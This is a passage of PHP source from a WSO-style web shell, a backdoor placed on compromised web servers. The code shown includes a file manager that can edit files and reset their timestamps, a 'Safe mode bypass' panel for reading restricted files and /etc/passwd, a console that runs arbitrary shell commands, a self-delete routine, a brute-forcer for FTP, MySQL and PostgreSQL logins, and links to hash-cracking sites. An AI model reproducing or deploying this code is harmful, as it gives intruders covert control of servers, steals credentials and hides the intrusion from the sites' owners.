 551                                                 usort($dirs, "wsoCmp");
 552                                                 $files = array_merge($dirs, $files);
 553                                                 $l = 0;
 554                                                 foreach ($files as $f) {
 555                                                     echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
 556                                                     $l = $l ? 0 : 1;
 557                                                 }
 558                                                 echo "<tr><td colspan=7>
 559   <input type=hidden name=a value='FilesMan'>
 560   <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
 561   <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
 562   <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
 563                                                 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
 564                                                 echo "<option value='tar'>Compress (tar.gz)</option>";
 565                                                 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) echo "<option value='paste'>Paste / Compress</option>";
 566                                                 echo "</select>&nbsp;";
 567                                                 if (!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
 568                                                 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
 569                                                 wsoFooter();
 570                                             }
 571                                             function actionStringTools() {
 572                                                 if (!function_exists('hex2bin')) {
 573                                                     function hex2bin($p) {
 574                                                         return decbin(hexdec($p));
 575                                                     }
 576                                                 }
 577                                                 if (!function_exists('binhex')) {
 578                                                     function binhex($p) {
 579                                                         return dechex(bindec($p));
 580                                                     }
 581                                                 }
 582                                                 if (!function_exists('hex2ascii')) {
 583                                                     function hex2ascii($p) {
 584                                                         $r = '';
 585                                                         for ($i = 0;$i < strLen($p);$i+= 2) {
 586                                                             $r.= chr(hexdec($p[$i] . $p[$i + 1]));
 587                                                         }
 588                                                         return $r;
 589                                                     }
 590                                                 }
 591                                                 if (!function_exists('ascii2hex')) {
 592                                                     function ascii2hex($p) {
 593                                                         $r = '';
 594                                                         for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
 595                                                         return strtoupper($r);
 596                                                     }
 597                                                 }
 598                                                 if (!function_exists('full_urlencode')) {
 599                                                     function full_urlencode($p) {
 600                                                         $r = '';
 601                                                         for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
 602                                                         return strtoupper($r);
 603                                                     }
 604                                                 }
 605                                                 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
 606                                                 if (isset($_POST['ajax'])) {
 607                                                     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
 608                                                     ob_start();
 609                                                     if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
 610                                                     $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
 611 
 612   \'") . "';
 613 ";
 614                                                     echo strlen($temp), "
 615 ", $temp;
 616                                                     exit;
 617                                                 }
 618                                                 wsoHeader();
 619                                                 echo '<h1>String conversions</h1><div class=content>';
 620                                                 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
 621                                                 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
 622                                                 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
 623                                                 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
 624                                                 if (!empty($_POST['p1'])) {
 625                                                     if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
 626                                                 }
 627                                                 echo "</pre></div><br><h1>Search text in files:</h1><div class=content>
 628       <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
 629           <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
 630           <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
 631           <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
 632           <tr><td></td><td><input type='submit' value='>>'></td></tr>
 633           </table></form>";
 634                                                 function wsoRecursiveGlob($path) {
 635                                                     if (substr($path, -1) != '/') $path.= '/';
 636                                                     $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
 637                                                     if (is_array($paths) && @count($paths)) {
 638                                                         foreach ($paths as $item) {
 639                                                             if (@is_dir($item)) {
 640                                                                 if ($path != $item) wsoRecursiveGlob($item);
 641                                                             } else {
 642                                                                 if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
 643                                                             }
 644                                                         }
 645                                                     }
 646                                                 }
 647                                                 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
 648                                                 echo "</div><br><h1>Search for hash:</h1><div class=content>
 649       <form method='post' target='_blank' name='hf'>
 650           <input type='text' name='hash' style='width:200px;'><br>
 651           <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
 652           <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
 653           <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
 654           <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
 655           <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
 656       </form></div>";
 657                                                 wsoFooter();
 658                                             }
 659                                             function actionFilesTools() {
 660                                                 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
 661                                                 if (@$_POST['p2'] == 'download') {
 662                                                     if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
 663                                                         ob_start("ob_gzhandler", 4096);
 664                                                         header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
 665                                                         if (function_exists("mime_content_type")) {
 666                                                             $type = @mime_content_type($_POST['p1']);
 667                                                             header("Content-Type: " . $type);
 668                                                         } else header("Content-Type: application/octet-stream");
 669                                                         $fp = @fopen($_POST['p1'], "r");
 670                                                         if ($fp) {
 671                                                             while (!@feof($fp)) echo @fread($fp, 1024);
 672                                                             fclose($fp);
 673                                                         }
 674                                                     }
 675                                                     exit;
 676                                                 }
 677                                                 if (@$_POST['p2'] == 'mkfile') {
 678                                                     if (!file_exists($_POST['p1'])) {
 679                                                         $fp = @fopen($_POST['p1'], 'w');
 680                                                         if ($fp) {
 681                                                             $_POST['p2'] = "edit";
 682                                                             fclose($fp);
 683                                                         }
 684                                                     }
 685                                                 }
 686                                                 wsoHeader();
 687                                                 echo '<h1>File tools</h1><div class=content>';
 688                                                 if (!file_exists(@$_POST['p1'])) {
 689                                                     echo 'File not exists';
 690                                                     wsoFooter();
 691                                                     return;
 692                                                 }
 693                                                 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
 694                                                 if (!$uid) {
 695                                                     $uid['name'] = @fileowner($_POST['p1']);
 696                                                     $gid['name'] = @filegroup($_POST['p1']);
 697                                                 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
 698                                                 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
 699                                                 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
 700                                                 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
 701                                                 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
 702                                                 else $m = array('Chmod', 'Rename', 'Touch');
 703                                                 foreach ($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
 704                                                 echo '<br><br>';
 705                                                 switch ($_POST['p2']) {
 706                                                     case 'view':
 707                                                         echo '<pre class=ml1>';
 708                                                         $fp = @fopen($_POST['p1'], 'r');
 709                                                         if ($fp) {
 710                                                             while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
 711                                                             @fclose($fp);
 712                                                         }
 713                                                         echo '</pre>';
 714                                                         break;
 715                                                     case 'highlight':
 716                                                         if (@is_readable($_POST['p1'])) {
 717                                                             echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
 718                                                             $code = @highlight_file($_POST['p1'], true);
 719                                                             echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
 720                                                         }
 721                                                         break;
 722                                                     case 'chmod':
 723                                                         if (!empty($_POST['p3'])) {
 724                                                             $perms = 0;
 725                                                             for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
 726                                                             if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
 727                                                         }
 728                                                         clearstatcache();
 729                                                         echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
 730                                                         break;
 731                                                     case 'edit':
 732                                                         if (!is_writable($_POST['p1'])) {
 733                                                             echo 'File isn\'t writeable';
 734                                                             break;
 735                                                         }
 736                                                         if (!empty($_POST['p3'])) {
 737                                                             $time = @filemtime($_POST['p1']);
 738                                                             $_POST['p3'] = substr($_POST['p3'], 1);
 739                                                             $fp = @fopen($_POST['p1'], "w");
 740                                                             if ($fp) {
 741                                                                 @fwrite($fp, $_POST['p3']);
 742                                                                 @fclose($fp);
 743                                                                 echo 'Saved!<br><script>p3_="";</script>';
 744                                                                 @touch($_POST['p1'], $time, $time);
 745                                                             }
 746                                                         }
 747                                                         echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
 748                                                         $fp = @fopen($_POST['p1'], 'r');
 749                                                         if ($fp) {
 750                                                             while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
 751                                                             @fclose($fp);
 752                                                         }
 753                                                         echo '</textarea><input type=submit value=">>"></form>';
 754                                                         break;
 755                                                     case 'hexdump':
 756                                                         $c = @file_get_contents($_POST['p1']);
 757                                                         $n = 0;
 758                                                         $h = array('00000000<br>', '', '');
 759                                                         $len = strlen($c);
 760                                                         for ($i = 0;$i < $len;++$i) {
 761                                                             $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
 762                                                             switch (ord($c[$i])) {
 763                                                                 case 0:
 764                                                                     $h[2].= ' ';
 765                                                                 break;
 766                                                                 case 9:
 767                                                                     $h[2].= ' ';
 768                                                                 break;
 769                                                                 case 10:
 770                                                                     $h[2].= ' ';
 771                                                                 break;
 772                                                                 case 13:
 773                                                                     $h[2].= ' ';
 774                                                                 break;
 775                                                                 default:
 776                                                                     $h[2].= $c[$i];
 777                                                                 break;
 778                                                             }
 779                                                             $n++;
 780                                                             if ($n == 32) {
 781                                                                 $n = 0;
 782                                                                 if ($i + 1 < $len) {
 783                                                                     $h[0].= sprintf('%08X', $i + 1) . '<br>';
 784                                                                 }
 785                                                                 $h[1].= '<br>';
 786                                                                 $h[2].= "
 787 ";
 788                                                             }
 789                                                         }
 790                                                         echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
 791                                                         break;
 792                                                     case 'rename':
 793                                                         if (!empty($_POST['p3'])) {
 794                                                             if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
 795                                                             else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
 796                                                         }
 797                                                         echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
 798                                                         break;
 799                                                     case 'touch':
 800                                                         if (!empty($_POST['p3'])) {
 801                                                             $time = strtotime($_POST['p3']);
 802                                                             if ($time) {
 803                                                                 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
 804                                                                 else echo 'Touched!';
 805                                                             } else echo 'Bad time format!';
 806                                                         }
 807                                                         clearstatcache();
 808                                                         echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
 809                                                         break;
 810                                                     }
 811                                                     echo '</div>';
 812                                                     wsoFooter();
 813                                                 }
 814                                                 function actionSafeMode() {
 815                                                     $temp = '';
 816                                                     ob_start();
 817                                                     switch ($_POST['p1']) {
 818                                                         case 1:
 819                                                             $temp = @tempnam($test, 'cx');
 820                                                             if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
 821                                                                 echo @file_get_contents($temp);
 822                                                                 unlink($temp);
 823                                                             } else echo 'Sorry... Can\'t open file';
 824                                                             break;
 825                                                         case 2:
 826                                                             $files = glob($_POST['p2'] . '*');
 827                                                             if (is_array($files)) foreach ($files as $filename) echo $filename . "
 828 ";
 829                                                             break;
 830                                                         case 3:
 831                                                             $ch = curl_init("file://" . $_POST['p2'] . "" . preg_replace('!\(\d+\)\s.*!', '', 'index.php'));
 832                                                             curl_exec($ch);
 833                                                             break;
 834                                                         case 4:
 835                                                             ini_restore("safe_mode");
 836                                                             ini_restore("open_basedir");
 837                                                             include ($_POST['p2']);
 838                                                             break;
 839                                                         case 5:
 840                                                             for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
 841                                                                 $uid = @posix_getpwuid($_POST['p2']);
 842                                                                 if ($uid) echo join(':', $uid) . "
 843 ";
 844                                                             }
 845                                                             break;
 846                                                         }
 847                                                         $temp = ob_get_clean();
 848                                                         wsoHeader();
 849                                                         echo '<h1>Safe mode bypass</h1><div class=content>';
 850                                                         echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
 851                                                         if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
 852                                                         echo '</div>';
 853                                                         wsoFooter();
 854                                                     }
 855                                                     function actionConsole() {
 856                                                         if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
 857                                                             $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
 858                                                             $_POST['p1'].= ' 2>&1';
 859                                                         } elseif (!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
 860                                                         if (isset($_POST['ajax'])) {
 861                                                             $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
 862                                                             ob_start();
 863                                                             echo "d.cf.cmd.value='';
 864 ";
 865                                                             $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
 866 $ " . $_POST['p1'] . "
 867 " . wsoEx($_POST['p1']), "
 868 
 869   \'"));
 870                                                             if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
 871                                                                 if (@chdir($match[1])) {
 872                                                                     $GLOBALS['cwd'] = @getcwd();
 873                                                                     echo "c_='" . $GLOBALS['cwd'] . "';";
 874                                                                 }
 875                                                             }
 876                                                             echo "d.cf.output.value+='" . $temp . "';";
 877                                                             echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
 878                                                             $temp = ob_get_clean();
 879                                                             echo strlen($temp), "
 880 ", $temp;
 881                                                             exit;
 882                                                         }
 883                                                         wsoHeader();
 884                                                         echo "<script>
 885 if(window.Event) window.captureEvents(Event.KEYDOWN);
 886 var cmds = new Array('');
 887 var cur = 0;
 888 function kp(e) {
 889   var n = (window.Event) ? e.which : e.keyCode;
 890   if(n == 38) {
 891       cur--;
 892       if(cur>=0)
 893           document.cf.cmd.value = cmds[cur];
 894       else
 895           cur++;
 896   } else if(n == 40) {
 897       cur++;
 898       if(cur < cmds.length)
 899           document.cf.cmd.value = cmds[cur];
 900       else
 901           cur--;
 902   }
 903 }
 904 function add(cmd) {
 905   cmds.pop();
 906   cmds.push(cmd);
 907   cmds.push('');
 908   cur = cmds.length-1;
 909 }
 910 </script>";
 911                                                         echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
 912                                                         foreach ($GLOBALS['aliases'] as $n => $v) {
 913                                                             if ($v == '') {
 914                                                                 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
 915                                                                 continue;
 916                                                             }
 917                                                             echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
 918                                                         }
 919                                                         if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
 920                                                         echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
 921                                                         if (!empty($_POST['p1'])) {
 922                                                             echo htmlspecialchars("$ " . $_POST['p1'] . "
 923 " . wsoEx($_POST['p1']));
 924                                                         }
 925                                                         echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
 926                                                         echo '</form></div><script>d.cf.cmd.focus();</script>';
 927                                                         wsoFooter();
 928                                                     }
 929                                                     function actionLogout() {
 930                                                         session_destroy();
 931                                                         die('bye!');
 932                                                     }
 933                                                     function actionSelfRemove() {
 934                                                         if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', 'index.php'))) die('Shell has been removed');
 935                                                         else echo 'unlink error!';
 936                                                         if ($_POST['p1'] != 'yes') wsoHeader();
 937                                                         echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
 938                                                         wsoFooter();
 939                                                     }
 940                                                     function actionBruteforce() {
 941                                                         wsoHeader();
 942                                                         if (isset($_POST['proto'])) {
 943                                                             echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
 944                                                             if ($_POST['proto'] == 'ftp') {
 945                                                                 function bruteForce($ip, $port, $login, $pass) {
 946                                                                     $fp = @ftp_connect($ip, $port ? $port : 21);
 947                                                                     if (!$fp) return false;
 948                                                                     $res = @ftp_login($fp, $login, $pass);
 949                                                                     @ftp_close($fp);
 950                                                                     return $res;
 951                                                                 }
 952                                                             } elseif ($_POST['proto'] == 'mysql') {
 953                                                                 function bruteForce($ip, $port, $login, $pass) {
 954                                                                     $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
 955                                                                     @mysql_close($res);
 956                                                                     return $res;
 957                                                                 }
 958                                                             } elseif ($_POST['proto'] == 'pgsql') {
 959                                                                 function bruteForce($ip, $port, $login, $pass) {
 960                                                                     $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
 961                                                                     $res = @pg_connect($str);
 962                                                                     @pg_close($res);
 963                                                                     return $res;
 964                                                                 }
 965                                                             }
 966                                                             $success = 0;
 967                                                             $attempts = 0;
 968                                                             $server = explode(":", $_POST['server']);
 969                                                             if ($_POST['type'] == 1) {
 970                                                                 $temp = @file('/etc/passwd');
 971                                                                 if (is_array($temp)) foreach ($temp as $line) {
 972                                                                     $line = explode(":", $line);
 973                                                                     ++$attempts;
 974                                                                     if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
 975                                                                         $success++;
 976                                                                         echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
 977                                                                     }
 978                                                                     if (@$_POST['reverse']) {
 979                                                                         $tmp = "";
 980                                                                         for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
 981                                                                         ++$attempts;
 982                                                                         if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
 983                                                                             $success++;
 984                                                                             echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
 985                                                                         }
 986                                                                     }
 987                                                                 }
 988                                                             } elseif ($_POST['type'] == 2) {
 989                                                                 $temp = @file($_POST['dict']);
 990                                                                 if (is_array($temp)) foreach ($temp as $line) {
 991                                                                     $line = trim($line);
 992                                                                     ++$attempts;
 993                                                                     if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
 994                                                                         $success++;
 995                                                                         echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
 996                                                                     }
 997                                                                 }
 998                                                             }
 999                                                             echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1000                                                         }
1001                                                         echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1002                                                         echo '</div><br>';
1003                                                         wsoFooter();
1004                                                     }
1005                                                     function actionSql() {
1006                                                         class DbClass {
1007                                                             var $type;
1008                                                             var $link;
1009                                                             var $res;
1010                                                             function DbClass($type) {
1011                                                                 $this->type = $type;
1012                                                             }
1013                                                             function connect($host, $user, $pass, $dbname) {
1014                                                                 switch ($this->type) {
1015                                                                     case 'mysql':
1016                                                                         if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1017                                                                         break;
1018                                                                     case 'pgsql':
1019                                                                         $host = explode(':', $host);
1020                                                                         if (!$host[1]) $host[1] = 5432;
1021                                                                         if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1022                                                                         break;
1023                                                                     }
1024                                                                     return false;
1025                                                                 }
1026                                                                 function selectdb($db) {
1027                                                                     switch ($this->type) {
1028                                                                         case 'mysql':
1029                                                                             if (@mysql_select_db($db)) return true;
1030                                                                             break;
1031                                                                         }
1032                                                                         return false;
1033                                                                 }
1034                                                                 function query($str) {
1035                                                                     switch ($this->type) {
1036                                                                         case 'mysql':
1037                                                                             return $this->res = @mysql_query($str);
1038                                                                         break;
1039                                                                         case 'pgsql':
1040                                                                             return $this->res = @pg_query($this->link, $str);
1041                                                                         break;
1042                                                                     }
1043                                                                     return false;
1044                                                                 }
1045                                                                 function fetch() {
1046                                                                     $res = func_num_args() ? func_get_arg(0) : $this->res;
1047                                                                     switch ($this->type) {
1048                                                                         case 'mysql':
1049                                                                             return @mysql_fetch_assoc($res);
1050                                                                         break;
1051                                                                         case 'pgsql':
1052                                                                             return @pg_fetch_assoc($res);
1053                                                                         break;
1054                                                                     }
1055                                                                     return false;
1056                                                                 }
1057                                                                 function listDbs() {
1058                                                                     switch ($this->type) {
1059                                                                         case 'mysql':
1060                                                                             return $this->query("SHOW databases");
1061                                                                         break;
1062                                                                         case 'pgsql':
1063                                                                             return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1064                                                                         break;
1065                                                                     }
1066                                                                     return false;
1067                                                                 }
1068                                                                 function listTables() {
1069                                                                     switch ($this->type) {
1070                                                                         case 'mysql':
1071                                                                             return $this->res = $this->query('SHOW TABLES');
1072                                                                         break;
1073                                                                         case 'pgsql':
1074                                                                             return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1075                                                                         break;
1076                                                                     }
1077                                                                     return false;
1078                                                                 }
1079                                                                 function error() {
1080                                                                     switch ($this->type) {
1081                                                                         case 'mysql':
1082                                                                             return @mysql_error();
1083                                                                         break;
